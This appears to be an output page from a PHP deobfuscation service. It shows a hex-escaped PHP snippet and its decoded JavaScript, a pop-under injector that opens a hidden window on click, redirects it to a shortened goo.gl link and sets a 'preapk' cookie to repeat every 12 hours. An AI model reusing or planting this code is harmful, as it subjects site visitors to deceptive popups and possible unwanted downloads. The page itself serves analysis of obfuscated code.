Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php echo "\x76a\x72\x20puS\x68\x6f\x77n \x3d\x20\x66a\x6c\x73\x65; \x76a\x72\x20\x50o\x7..

Decoded Output download

var puShown = false; var PopWidth = 1366; var PopHeight = 768; var PopFocus = 0; var _Top = null; function GetWindowHeight() { var myHeight = 0; if (typeof (_Top.window.innerHeight) == 'number') { myHeight = _Top.window.innerHeight; } else if (_Top.document.documentElement && _Top.document.documentElement.clientHeight) { myHeight = _Top.document.documentElement.clientHeight; } else if (_Top.document.body && _Top.document.body.clientHeight) { myHeight = _Top.document.body.clientHeight; } return myHeight; } function GetWindowWidth() { var myWidth = 0; if (typeof (_Top.window.innerWidth) == 'number') { myWidth = _Top.window.innerWidth; } else if (_Top.document.documentElement && _Top.document.documentElement.clientWidth) { myWidth = _Top.document.documentElement.clientWidth; } else if (_Top.document.body && _Top.document.body.clientWidth) { myWidth = _Top.document.body.clientWidth; } return myWidth; } function GetWindowTop() { return (_Top.window.screenTop != undefined) ? _Top.window.screenTop : _Top.window.screenY; } function GetWindowLeft() { return (_Top.window.screenLeft != undefined) ? _Top.window.screenLeft : _Top.window.screenX; } function doOpen(url) { var popURL = "about:blank" var popID = "ad_" + Math.floor(89999999 * Math.random() + 10000000); var pxLeft = 0; var pxTop = 0; pxLeft = (GetWindowLeft() + (GetWindowWidth() / 2) - (PopWidth / 2)); pxTop = (GetWindowTop() + (GetWindowHeight() / 2) - (PopHeight / 2)); if (puShown == true) { return true; } var PopWin = _Top.window.open(popURL, popID, 'toolbar=0,scrollbars=1,location=1,statusbar=1,menubar=0,resizable=1,top=' + pxTop + ',left=' + pxLeft + ',width=' + PopWidth + ',height=' + PopHeight); if (PopWin) { puShown = true; if (PopFocus == 0) { PopWin.blur(); if (navigator.userAgent.toLowerCase().indexOf("applewebkit") > -1) { _Top.window.blur(); _Top.window.focus(); } } PopWin.Init = function (e) { with(e) { Params = e.Params; Main = function () { if (typeof window.mozPaintCount != "undefined") { var x = window.open("about:blank"); x.close(); } var popURL = Params.PopURL; try { opener.window.focus(); } catch (err) {} window.location = popURL; } Main(); } }; PopWin.Params = { PopURL: url } PopWin.Init(PopWin); } return PopWin; } function setCookie(name, value, time) { var expires = new Date(); expires.setTime(expires.getTime() + time); document.cookie = name + '=' + value + '; path=/;' + '; expires=' + expires.toGMTString(); } function getCookie(name) { var cookies = document.cookie.toString().split('; '); var cookie, c_name, c_value; for (var n = 0; n < cookies.length; n++) { cookie = cookies[n].split('='); c_name = cookie[0]; c_value = cookie[1]; if (c_name == name) { return c_value; } } return null; } function initPu() { _Top = self; if (top != self) { try { if (top.document.location.toString()) _Top = top; } catch (err) {} } if (document.attachEvent) { document.attachEvent('onclick', checkTarget); } else if (document.addEventListener) { document.addEventListener('click', checkTarget, false); } } function checkTarget(e) { if (!getCookie('preapk')) { var e = e || window.event; var win = doOpen('http://goo.gl/758cG9'); setCookie('preapk', 1, 12 * 60 * 60 * 1000); } } initPu();

Did this file decode correctly?

Original Code

<?php echo "\x76a\x72\x20puS\x68\x6f\x77n \x3d\x20\x66a\x6c\x73\x65; \x76a\x72\x20\x50o\x70\x57i\x64t\x68 =\x20\x31\x336\x36\x3b v\x61r\x20\x50o\x70Heig\x68t\x20\x3d 7\x36\x38;\x20va\x72 \x50\x6f\x70Focus =\x200; \x76\x61\x72 _T\x6f\x70 \x3d\x20\x6e\x75\x6c\x6c\x3b \x66\x75nc\x74i\x6fn G\x65t\x57in\x64\x6f\x77\x48e\x69\x67h\x74()\x20{\x20va\x72 m\x79He\x69g\x68\x74\x20\x3d\x200\x3b\x20\x69\x66\x20(t\x79p\x65\x6ff (\x5f\x54\x6f\x70.\x77i\x6ed\x6fw\x2ei\x6e\x6ee\x72\x48\x65\x69gh\x74) \x3d\x3d \x27number\x27) { \x6d\x79\x48\x65igh\x74 \x3d \x5fTop\x2ew\x69nd\x6f\x77\x2ein\x6ee\x72\x48\x65\x69\x67ht;\x20} \x65ls\x65 \x69f (_\x54\x6f\x70\x2ed\x6fc\x75\x6de\x6et\x2e\x64o\x63u\x6d\x65\x6et\x45\x6ce\x6de\x6et\x20\x26&\x20_\x54o\x70.d\x6f\x63\x75\x6dent.\x64ocu\x6de\x6et\x45\x6ce\x6d\x65\x6et.c\x6ci\x65n\x74He\x69g\x68t) { m\x79\x48\x65\x69g\x68t\x20\x3d _\x54\x6f\x70\x2e\x64\x6f\x63u\x6d\x65nt\x2edo\x63umentEleme\x6e\x74\x2e\x63l\x69\x65\x6e\x74\x48eigh\x74;\x20} \x65\x6cse if\x20(_\x54\x6f\x70\x2edo\x63\x75me\x6e\x74\x2eb\x6fd\x79 && \x5fT\x6f\x70.d\x6f\x63u\x6d\x65nt.body\x2e\x63lie\x6e\x74\x48e\x69g\x68\x74) {\x20\x6d\x79\x48ei\x67\x68t \x3d \x5fT\x6fp\x2edo\x63\x75\x6d\x65\x6e\x74\x2eb\x6f\x64y.c\x6cien\x74\x48\x65ig\x68\x74; }\x20r\x65tu\x72n \x6d\x79He\x69\x67ht;\x20}\x20\x66\x75nctio\x6e GetWi\x6e\x64\x6f\x77Wid\x74\x68()\x20{\x20va\x72\x20\x6dy\x57i\x64t\x68\x20= 0;\x20\x69\x66\x20(\x74\x79\x70eo\x66\x20(\x5f\x54o\x70\x2e\x77\x69\x6e\x64ow\x2e\x69\x6e\x6e\x65\x72\x57\x69\x64th)\x20==\x20\x27\x6eum\x62\x65r\x27)\x20{ \x6d\x79Wi\x64\x74h \x3d\x20\x5f\x54\x6f\x70.win\x64\x6f\x77\x2e\x69\x6ene\x72Width;\x20}\x20\x65\x6c\x73e\x20if\x20(\x5f\x54\x6fp.do\x63\x75\x6dent.\x64o\x63um\x65\x6e\x74E\x6ce\x6d\x65n\x74\x20&\x26\x20\x5fT\x6fp.\x64\x6f\x63\x75m\x65n\x74.\x64\x6f\x63ume\x6et\x45\x6ce\x6de\x6et.\x63lientWi\x64t\x68) { \x6dy\x57\x69\x64\x74h \x3d \x5fT\x6f\x70.\x64o\x63\x75m\x65n\x74.\x64oc\x75ment\x45\x6c\x65\x6d\x65\x6e\x74.\x63li\x65\x6e\x74\x57\x69\x64\x74h; } \x65l\x73e\x20\x69\x66 (\x5f\x54\x6fp.d\x6fcum\x65n\x74\x2e\x62\x6f\x64y \x26\x26\x20\x5fTo\x70\x2e\x64\x6f\x63u\x6d\x65\x6e\x74\x2e\x62o\x64y\x2e\x63l\x69\x65n\x74Wi\x64\x74\x68) { \x6d\x79\x57i\x64\x74\x68\x20=\x20_T\x6f\x70.\x64oc\x75me\x6et.bo\x64\x79\x2e\x63li\x65\x6e\x74\x57idt\x68\x3b\x20} \x72\x65\x74\x75\x72\x6e my\x57\x69\x64th; }\x20\x66\x75\x6ection \x47\x65t\x57i\x6e\x64owTop() {\x20re\x74urn\x20(\x5fTop.\x77\x69n\x64\x6f\x77\x2escr\x65\x65\x6e\x54\x6fp \x21= \x75nd\x65\x66\x69n\x65d) ? _T\x6f\x70.\x77\x69\x6e\x64o\x77.sc\x72\x65en\x54\x6f\x70 : _\x54op\x2ewi\x6edo\x77.s\x63r\x65\x65nY\x3b } fun\x63\x74\x69\x6f\x6e G\x65\x74Wi\x6edowL\x65ft()\x20{\x20r\x65t\x75r\x6e (_To\x70.\x77indow.\x73c\x72\x65\x65\x6e\x4c\x65\x66t\x20\x21= \x75\x6ed\x65\x66\x69\x6ee\x64)\x20? \x5f\x54o\x70\x2e\x77i\x6e\x64ow\x2es\x63\x72\x65\x65\x6eL\x65f\x74\x20: _T\x6fp\x2ew\x69\x6ed\x6f\x77.scre\x65nX; } f\x75n\x63\x74i\x6fn\x20\x64\x6f\x4fpen(ur\x6c)\x20{\x20\x76\x61r\x20p\x6fpU\x52\x4c \x3d \"a\x62\x6fut:b\x6c\x61n\x6b\x22\x20\x76a\x72\x20po\x70I\x44 = \"ad\x5f\" +\x20\x4da\x74h.\x66\x6co\x6fr(\x38\x399\x39\x3999\x39\x20*\x20\x4d\x61\x74h\x2eran\x64om()\x20+\x201\x30\x30\x30\x300\x30\x30); \x76a\x72\x20\x70xL\x65\x66t\x20= 0\x3b va\x72\x20\x70\x78\x54o\x70 \x3d \x30; p\x78Left\x20=\x20(G\x65t\x57indo\x77L\x65\x66\x74() +\x20(\x47et\x57in\x64\x6fw\x57i\x64\x74\x68()\x20/ 2)\x20- (\x50o\x70\x57i\x64t\x68\x20/ \x32));\x20\x70xT\x6fp\x20\x3d\x20(\x47\x65\x74Wi\x6e\x64o\x77\x54o\x70() +\x20(GetW\x69nd\x6f\x77\x48ei\x67\x68t()\x20/\x202)\x20-\x20(\x50\x6fp\x48\x65ig\x68\x74 / 2));\x20if (p\x75Sho\x77n\x20== \x74\x72u\x65)\x20{ \x72\x65\x74u\x72n\x20\x74\x72ue\x3b\x20} \x76a\x72 \x50\x6fpW\x69n \x3d \x5f\x54o\x70\x2e\x77\x69nd\x6f\x77.o\x70\x65\x6e(\x70o\x70URL, po\x70\x49D, '\x74\x6f\x6f\x6cb\x61\x72\x3d0,s\x63\x72o\x6cl\x62ars=1,l\x6fca\x74i\x6fn=1,s\x74atus\x62\x61\x72\x3d1,\x6d\x65\x6e\x75b\x61r=0,r\x65s\x69\x7a\x61\x62l\x65=\x31,\x74\x6f\x70\x3d\x27 + \x70\x78\x54o\x70\x20+\x20\x27,\x6c\x65\x66\x74=\x27\x20+\x20\x70x\x4ce\x66\x74\x20+ \x27,\x77\x69\x64\x74h=\x27 +\x20Pop\x57\x69dt\x68 + ',hei\x67ht\x3d\x27\x20+\x20Pop\x48\x65ight)\x3b\x20if\x20(P\x6fpW\x69\x6e) { p\x75Sh\x6f\x77\x6e\x20\x3d\x20tr\x75\x65; if (\x50\x6fp\x46\x6fcus =\x3d 0) { \x50op\x57\x69n\x2ebl\x75\x72()\x3b if\x20(na\x76igat\x6f\x72\x2euse\x72A\x67\x65nt\x2et\x6fLo\x77e\x72Case()\x2ei\x6e\x64exOf(\"ap\x70\x6c\x65\x77e\x62kit\x22) \x3e -1) {\x20_Top.w\x69\x6edo\x77\x2e\x62lu\x72(); _\x54o\x70.w\x69\x6edo\x77\x2e\x66\x6f\x63\x75s(); } } \x50opW\x69\x6e.Init = \x66un\x63\x74i\x6f\x6e (\x65)\x20{ \x77\x69th(\x65)\x20{ P\x61r\x61m\x73 \x3d\x20e\x2eP\x61\x72a\x6ds\x3b M\x61i\x6e\x20=\x20\x66\x75n\x63t\x69o\x6e ()\x20{\x20\x69f (type\x6f\x66\x20\x77i\x6edow\x2e\x6dozP\x61int\x43\x6f\x75\x6e\x74\x20!= \x22\x75nde\x66i\x6eed\") { \x76\x61\x72 x\x20= win\x64\x6f\x77\x2e\x6f\x70\x65\x6e(\x22a\x62\x6fu\x74:\x62\x6c\x61\x6ek\");\x20\x78\x2e\x63lo\x73\x65()\x3b\x20} v\x61r\x20\x70\x6fpU\x52L\x20\x3d\x20\x50\x61r\x61\x6ds\x2e\x50opU\x52\x4c\x3b\x20\x74\x72\x79\x20{\x20o\x70\x65\x6ee\x72.w\x69\x6e\x64\x6f\x77\x2e\x66\x6f\x63u\x73();\x20}\x20\x63\x61\x74ch\x20(err)\x20{}\x20win\x64o\x77\x2el\x6f\x63ation \x3d p\x6fp\x55\x52L; } \x4da\x69n(); } }\x3b\x20P\x6fpWin.P\x61rams =\x20{\x20\x50opURL:\x20\x75rl\x20}\x20P\x6fp\x57in\x2e\x49\x6eit(P\x6fpWi\x6e); }\x20retu\x72\x6e\x20Po\x70Win\x3b } \x66\x75nc\x74\x69o\x6e set\x43o\x6fk\x69e(\x6eam\x65,\x20\x76a\x6cu\x65,\x20tim\x65) { \x76ar expire\x73 \x3d\x20n\x65w\x20\x44\x61\x74e()\x3b\x20ex\x70\x69\x72e\x73\x2es\x65\x74\x54ime(ex\x70\x69res\x2eg\x65t\x54\x69m\x65()\x20+ \x74\x69me); do\x63u\x6d\x65nt.\x63oo\x6b\x69\x65\x20= n\x61\x6d\x65 + \x27\x3d\x27 +\x20\x76a\x6c\x75e +\x20'\x3b \x70\x61th\x3d/;'\x20+ ';\x20\x65x\x70ir\x65s=\x27\x20+ e\x78p\x69r\x65\x73\x2e\x74\x6fGM\x54St\x72ing()\x3b\x20}\x20f\x75\x6ect\x69\x6fn \x67\x65\x74\x43\x6f\x6f\x6bie(name)\x20{\x20v\x61\x72\x20\x63ooki\x65\x73 \x3d do\x63u\x6d\x65nt\x2ecoo\x6bi\x65.\x74\x6f\x53tr\x69\x6e\x67()\x2espl\x69t(\x27;\x20');\x20\x76ar c\x6fo\x6b\x69e, \x63\x5f\x6e\x61\x6d\x65, c\x5fvalu\x65;\x20f\x6fr\x20(v\x61r\x20n\x20\x3d \x30; \x6e\x20\x3c\x20\x63\x6fok\x69es.\x6c\x65ng\x74\x68\x3b\x20n++)\x20{ \x63\x6f\x6fkie\x20= co\x6fkie\x73[\x6e]\x2espli\x74('\x3d');\x20c_name\x20= \x63o\x6fk\x69\x65[0]\x3b\x20\x63_v\x61lue = c\x6f\x6f\x6b\x69e[1]\x3b\x20\x69\x66 (\x63\x5f\x6e\x61\x6d\x65\x20=\x3d\x20\x6e\x61m\x65) { \x72e\x74u\x72n c_\x76\x61l\x75e; } }\x20re\x74u\x72n nul\x6c;\x20} f\x75nct\x69o\x6e\x20init\x50u()\x20{\x20\x5f\x54\x6fp\x20=\x20se\x6cf;\x20\x69f\x20(top \x21\x3d \x73\x65l\x66)\x20{ t\x72y { \x69\x66 (t\x6f\x70.\x64\x6fcu\x6d\x65n\x74.\x6co\x63a\x74\x69on\x2eto\x53\x74ri\x6eg()) _Top = \x74op\x3b\x20}\x20ca\x74ch\x20(er\x72) {} } \x69\x66\x20(doc\x75\x6dent\x2ea\x74\x74\x61c\x68\x45\x76\x65\x6et) { \x64\x6f\x63\x75m\x65nt\x2eattach\x45\x76\x65\x6e\x74(\x27\x6fn\x63\x6ci\x63k\x27,\x20\x63h\x65ck\x54\x61rg\x65t)\x3b\x20}\x20el\x73\x65 \x69f (\x64o\x63u\x6d\x65n\x74.\x61d\x64\x45\x76\x65nt\x4c\x69\x73\x74e\x6eer) {\x20\x64\x6fc\x75m\x65n\x74\x2e\x61\x64\x64E\x76e\x6e\x74\x4c\x69stene\x72('\x63\x6cick\x27,\x20che\x63k\x54a\x72\x67e\x74, fals\x65);\x20} }\x20\x66un\x63ti\x6f\x6e\x20\x63\x68\x65\x63kTa\x72get(e)\x20{\x20\x69\x66\x20(!\x67\x65\x74\x43o\x6f\x6b\x69e(\x27p\x72eap\x6b\x27))\x20{\x20v\x61\x72\x20\x65 \x3d e ||\x20wind\x6f\x77\x2ee\x76ent\x3b\x20v\x61\x72\x20win\x20\x3d\x20doO\x70\x65n(\x27\x68t\x74p://g\x6f\x6f\x2eg\x6c/\x37\x358cG\x39\x27); setC\x6fok\x69e('\x70\x72eap\x6b', \x31, 12\x20*\x2060\x20*\x206\x30\x20*\x2010\x300)\x3b } } i\x6ei\x74P\x75()\x3b\n";
?>

Function Calls

None

Variables

None

Stats

MD5 8e0bb971ef079f805eda68d22228601f
Eval Count 0
Decode Time 93 ms